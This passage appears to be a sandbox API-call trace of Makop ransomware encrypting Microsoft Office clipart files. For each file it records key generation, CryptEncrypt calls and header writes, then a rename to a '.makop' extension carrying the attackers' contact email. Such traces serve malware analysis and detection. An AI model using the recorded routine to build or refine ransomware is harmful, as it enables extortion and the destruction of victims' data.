param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.252] CloseHandle (hObject=0xf0) returned 1 [0131.252] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0131.252] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF") returned 63 [0131.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.253] GetProcessHeap () returned 0x48a0000 [0131.253] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.253] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.253] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.253] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.253] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.253] GetProcessHeap () returned 0x48a0000 [0131.253] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.253] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.253] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.254] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.262] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.262] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.263] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.263] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.264] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f50, lpOverlapped=0x0) returned 1 [0131.265] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f50) returned 1 [0131.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f50, lpOverlapped=0x0) returned 1 [0131.266] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.266] SetEndOfFile (hFile=0xf0) returned 1 [0131.273] GetProcessHeap () returned 0x48a0000 [0131.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.273] GetProcessHeap () returned 0x48a0000 [0131.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.273] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.275] CloseHandle (hObject=0xf0) returned 1 [0131.275] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0131.275] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF") returned 63 [0131.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.276] GetProcessHeap () returned 0x48a0000 [0131.276] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.276] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0131.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.281] GetProcessHeap () returned 0x48a0000 [0131.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.281] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.283] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.283] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.283] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x81ce, lpOverlapped=0x0) returned 1 [0131.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81d0, dwBufLen=0x81d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x81d0) returned 1 [0131.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x81d0, lpOverlapped=0x0) returned 1 [0131.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x82a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.286] SetEndOfFile (hFile=0xf0) returned 1 [0131.294] GetProcessHeap () returned 0x48a0000 [0131.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.294] GetProcessHeap () returned 0x48a0000 [0131.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.294] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.296] CloseHandle (hObject=0xf0) returned 1 [0131.296] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0131.296] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF") returned 63 [0131.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.297] GetProcessHeap () returned 0x48a0000 [0131.297] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.297] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.304] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.305] GetProcessHeap () returned 0x48a0000 [0131.305] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.305] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.305] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.305] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.306] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.306] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.306] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x244a, lpOverlapped=0x0) returned 1 [0131.308] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2450, dwBufLen=0x2450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2450) returned 1 [0131.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.308] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2450, lpOverlapped=0x0) returned 1 [0131.308] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.308] SetEndOfFile (hFile=0xf0) returned 1 [0131.316] GetProcessHeap () returned 0x48a0000 [0131.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.316] GetProcessHeap () returned 0x48a0000 [0131.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.316] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.317] CloseHandle (hObject=0xf0) returned 1 [0131.318] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0131.318] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF") returned 63 [0131.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.319] GetProcessHeap () returned 0x48a0000 [0131.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.319] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0131.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.324] GetProcessHeap () returned 0x48a0000 [0131.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.324] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.325] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45a2, lpOverlapped=0x0) returned 1 [0131.327] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45b0, dwBufLen=0x45b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45b0) returned 1 [0131.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x45b0, lpOverlapped=0x0) returned 1 [0131.328] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.328] SetEndOfFile 